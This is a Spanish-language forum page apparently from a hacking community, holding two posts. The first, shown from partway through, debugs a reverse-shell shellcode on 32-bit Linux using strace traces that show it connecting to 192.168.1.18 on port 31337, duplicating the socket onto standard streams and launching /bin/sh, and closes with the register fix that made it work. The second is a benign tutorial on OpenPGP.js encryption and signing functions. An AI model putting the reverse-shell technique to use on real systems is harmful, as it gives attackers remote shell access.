mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000
close(6)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7742000, 8192, PROT_READ)   = 0
mprotect(0xb77ab000, 4096, PROT_READ)   = 0
mprotect(0xb778c000, 4096, PROT_READ)   = 0
munmap(0xb7748000, 127778)              = 0
getpid()                                = 1993
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 1991
brk(NULL)                               = 0xb88bf000
brk(0xb88e0000)                         = 0xb88e0000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbfbcbea8)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 0xb77ac6c0, 8192)               = -1 ENOTCONN (Transport endpoint is not connected)
exit_group(0)                           = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$

¿Qué ha ocurrido? Simple, primero ha realizado lo que el programa ejecuta legítimamente, socket(); bind(); listen(); accept(); read(); write(); .
Este trozo de aquí:

Código:
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0

Lo ejecuta el shellcode, como veis, logra ejecutar hasta /bin/sh..., lo de más abajo es todo de sh. Pero por algún motivo este programa (sh) se cierra inesperadamente, pero limpiamente, provocando que "v" salga también limpiamente (con 0) gracias al exit_group().

Lo impresionante es que si hago un "strace ./prueba" (el programa en C de prueba del shellcode), funciona a la perfección:

Código:
arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8656000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ)   = 0
mprotect(0xb776c000, 4096, PROT_READ)   = 0
munmap(0xb7728000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ)   = 0
mprotect(0xb7720000, 4096, PROT_READ)   = 0
mprotect(0xb7701000, 4096, PROT_READ)   = 0
munmap(0xb76bd000, 127778)              = 0
getpid()                                = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 2027
brk(NULL)                               = 0xb89de000
brk(0xb89ff000)                         = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0,

Y se queda suspendido, mientras en la otra pantalla tengo los privilegios de arget de nuevo. Lo más gracioso de todo es que las llamadas al sistema son iguales, solo cambian un par de direcciones que no deberían afectar.
Para darlo todo completo, cuando cierro la conexión en strace queda esto:

Código:
arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8656000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ)   = 0
mprotect(0xb776c000, 4096, PROT_READ)   = 0
munmap(0xb7728000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ)   = 0
mprotect(0xb7720000, 4096, PROT_READ)   = 0
mprotect(0xb7701000, 4096, PROT_READ)   = 0
munmap(0xb76bd000, 127778)              = 0
getpid()                                = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 2027
brk(NULL)                               = 0xb89de000
brk(0xb89ff000)                         = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, "exit\n", 8192)                 = 5
exit_group(0)                           = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$

Por si sirve de algo:
Código:
arget@kali:~/exploiting/remote$ uname -a
Linux kali 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux
Código:
arget@kali:~/exploiting/remote$ cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Celeron(R) CPU          900  @ 2.20GHz
stepping : 10
microcode : 0xa0b
cpu MHz : 2194.963
cache size : 1024 KB
physical id : 0
siblings : 1
core id : 0
cpu cores : 1
apicid : 0
initial apicid : 0
fdiv_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss tm pbe nx lm constant_tsc arch_perfmon pebs bts aperfmperf pni dtes64 monitor ds_cpl tm2 ssse3 cx16 xtpr pdcm xsave lahf_lm dtherm
bugs :
bogomips : 4389.92
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:

arget@kali:~/exploiting/remote$

Era necesario indicar a dup2 el descriptor de socket moviendo a ebx el valor guardado anteriormente en esi mediante un "mov ebx, esi" justo antes de la etiqueta "bucle". Gracias por vuestra ayuda.
4  Programación / Desarrollo Web / [APORTE] Funciones principales OpenPGP.js en: 31 Agosto 2015, 22:00 pm
Esto empezó como una duda, pero mientras la explicaba pude resolver el problema, aunque, la verdad, me costó bastante, así que he decidido mostrar una explicación de las funciones de OpenPGP.js. Costó bastante resolver algunos problemas porque hay poca documentación, y la que hay es poco explicativa, y como imagino que habrá gente en mi misma situación, pues aquí pongo las soluciones a los problemas que me planteé; también, para presentar un manual medianamente completo, he estudiado algunas funciones que no necesitaba, o también añado mi implementación de algunas funciones que sí están bien documentadas [el caso de generateKeyPair(), de encryptMessage() y decryptMessage()].
Sinceramente no sé dónde colocar esto, he leído las normas del subforo y dice que solo dudas, no sé si valdrán aportes.

OpenPGP.js es una librería en javascript que implementa, si no todas, prácticamente todas las funciones del protocolo OpenPGP.
Su página de GitHub: http://www.github.com/openpgpjs/openpgpjs
El corazón de la librería está en /dist/ y se llama openpgp.js (no se va a llamar sardinasEnlatadas.js) .
Así que a partir de ahora lo incluimos siempre en la cabeza:
Código:
<script src="openpgp.js" type="text/javascript"></script>
Todas las funciones ya vienen en ese archivo, de manera que no hace falta almacenar el resto del proyecto.

Bueno, empecemos con el código:



Generar un keypair (pareja de claves, pública y privada):
Código
  1. //Especificamos la contrasena con la que se cifrara la clave privada
  2. var pass = "holasoyunacontrasena";
  3. //Definimos el email del propietario de las claves
  4. var email = '<' + document.getElementById("mail").value + '>';
  5. //El nombre de usuario
  6. var user = document.getElementById("user").value;
  7.  
  8. //Se juntan nombre de usuario e email para formar el KeyID
  9. var id = user + ' ' + email;
  10.  
  11. //Generamos las claves
  12. var clave = openpgp  //   Tamano    KeyID        Contrasena
  13. .generateKeyPair({numBits: 2048, userId: id, passphrase: pass})
  14. .then(function(keyPair)
  15. {   //Mostramos los resultados
  16.    document.write('<pre>' + keyPair.privateKeyArmored + '</pre>');
  17.    document.write('<pre>' + keyPair.publicKeyArmored + '</pre>');
  18. });
  19.  

Cifrar:
Código
  1. //Definimos la clave publica con la que cifrar
  2. var key = '-----BEGIN PGP PUBLIC KEY BLOCK----- . . .';
  3. //Leemos dicha clave
  4. var publicKey = openpgp.key.readArmored(key);
  5.  
  6. //Ciframos
  7. openpgp.encryptMessage
  8. (
  9.    publicKey.keys, //Clave publica
  10.    "Message"       //Mensaje a cifrar
  11. )
  12. .then(function(pgpMessage){
  13.    //Mostramos el resultado
  14.    document.write('<pre>' + pgpMessage + '</pre>');
  15. })
  16.  

Descifrar:
Código
  1. //Definimos la clave privada para descifrar
  2. var key = '-----BEGIN PGP PRIVATE KEY BLOCK----- . . .';
  3. //La leemos
  4. var privateKey = openpgp.key.readArmored(key).keys[0];
  5. //La desciframos con la contrasena
  6. privateKey.decrypt("holasoyunacontrasena");
  7.  
  8. //Definimos el mensaje cifrado
  9. var pgpMessage = '-----BEGIN PGP MESSAGE----- . . .';
  10. //Leemos el mensaje
  11. pgpMessage = openpgp.message.readArmored(pgpMessage);
  12.  
  13. //Desciframos
  14. openpgp.decryptMessage
  15. (
  16.    privateKey,
  17.    pgpMessage
  18. )
  19. .then(function(plaintext){
  20.     //Mostramos el resultado
  21.     document.write('<pre>' + plaintext + '</pre>');
  22. })
  23.  

Firmar:
Código
  1. //Definimos clave privada
  2. var PVK = '-----BEGIN PGP PRIVATE KEY BLOCK----- . . .';
  3. //La leemos
  4. var privKeys = openpgp.key.readArmored(PVK);
  5. var privKey = privKeys.keys[0];
  6. //La desciframos
  7. privKey.decrypt("holasoyunacontrasena");
  8. //Firmamos
  9. openpgp.signClearMessage
  10. (
  11.    privKeys.keys, //Clave privada
  12.    "Message"      //Mensaje
  13. )
  14. .then(function(signed)
  15. {
  16.    //Mostramos el mensaje firmado
  17.    document.write('<pre>' + signed + '</pre>');
  18. });
  19.  

Verificar:
Código
  1. //Indicamos la clave publica
  2. var PBK = '-----BEGIN PGP PUBLIC KEY BLOCK----- . . .';
  3. //La leemos
  4. var publicKeys = openpgp.key.readArmored(PBK);
  5. //Definimos el mensaje firmado, con sus dos partes, el mensaje y la firma
  6. var tmp = '-----BEGIN PGP SIGNED MESSAGE----- . . .';
  7. //Leemos el mensaje firmado
  8. var message = openpgp.cleartext.readArmored(tmp);
  9. //Verificamos
  10. openpgp.verifyClearSignedMessage
  11. (
  12.    publicKeys.keys, //Clave pública
  13.    message          //Mensaje firmado
  14. )
  15. .then(function(verified)
  16. {
  17.    if(verified.signatures[0].valid == true)
  18.    {   //Si la firma es valida
  19.        document.write(verified.text); //Muestra el contenido del mensaje
  20.        document.write('<pre>FIRMA VALIDA!</pre>');
  21.    }
  22.    else
  23.    {   //Si NO es valida
  24.        document.write('<pre>¡FIRMA NO VALIDA!</pre>');
  25.    }
  26. });
  27.  

Firmar y cifrar (este particularmente me costó lograr que funcione):
Código
  1. //Se define la clave publica (con la que se cifra)
  2. var PBK = '-----BEGIN PGP PUBLIC KEY BLOCK----- . . .';
  3. //Se define la clave privada (con la que se firma)
  4. var PVK = '-----BEGIN PGP PRIVATE KEY BLOCK----- . . .';
  5.  
  6. //Leemos ambas claves
  7. var publicKey = openpgp.key.readArmored(PBK);
  8. var privateKey = openpgp.key.readArmored(PVK).keys[0];
  9.  
  10. //Desciframos con nuestra contrasena la clave privada
  11. privateKey.decrypt("holasoyunacontrasena");
  12.  
  13. //Firmamos y ciframos
  14. openpgp.signAndEncryptMessage
  15. (
  16.    publicKey.keys, //Clave publica
  17.    privateKey,       //Clave privada
  18.    "Message"        //Mensaje a procesar
  19. )
  20. .then(function(pgpMessage)
  21. {   //Mostramos el resultado
  22.    document.write('<pre>\n' + pgpMessage + '</pre>');
  23. })
  24.  

Descifrar y verificar (este también fue un lío dominarlo):
Código
  1. //Claves
  2. var PBK = '-----BEGIN PGP PUBLIC KEY BLOCK----- . . .';
  3. var PVK = '-----BEGIN PGP PRIVATE KEY BLOCK----- . . .';
  4. //Leemos
  5. var publicKeys = openpgp.key.readArmored(PBK);
  6. var privateKey = openpgp.key.readArmored(PVK).keys[0];
  7. //Desciframos
  8. privateKey.decrypt("holasoyunacontrasena");
  9.  
  10. //Mensaje
  11. var pgpMessage = '-----BEGIN PGP MESSAGE----- . . .';
  12. //Leemos mensaje
  13. message = openpgp.message.readArmored(pgpMessage);
  14. //Desciframos y verificamos
  15. openpgp.decryptAndVerifyMessage
  16. (
  17.    privateKey, //Clave privada
  18.    publicKeys.keys, //Clave pública
  19.    message //Mensaje firmado y cifrado
  20. )
  21. .then(function(verified)
  22. {
  23.    if(verified.signatures[0].valid == true)
  24.    {//Si es valida la firma
  25.        document.write(verified.text); //Esto muestra el contenido del mensaje
  26.        document.write("VALIDA!"); //Indicamos su validez
  27.    }
  28.    else
  29.    {//Si NO es valida
  30.        document.write("NO VALIDA!"); //Indicamos su invalidez
  31.    }
  32. });
  33.  

Si alguno no funciona, avisadme, por favor...
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines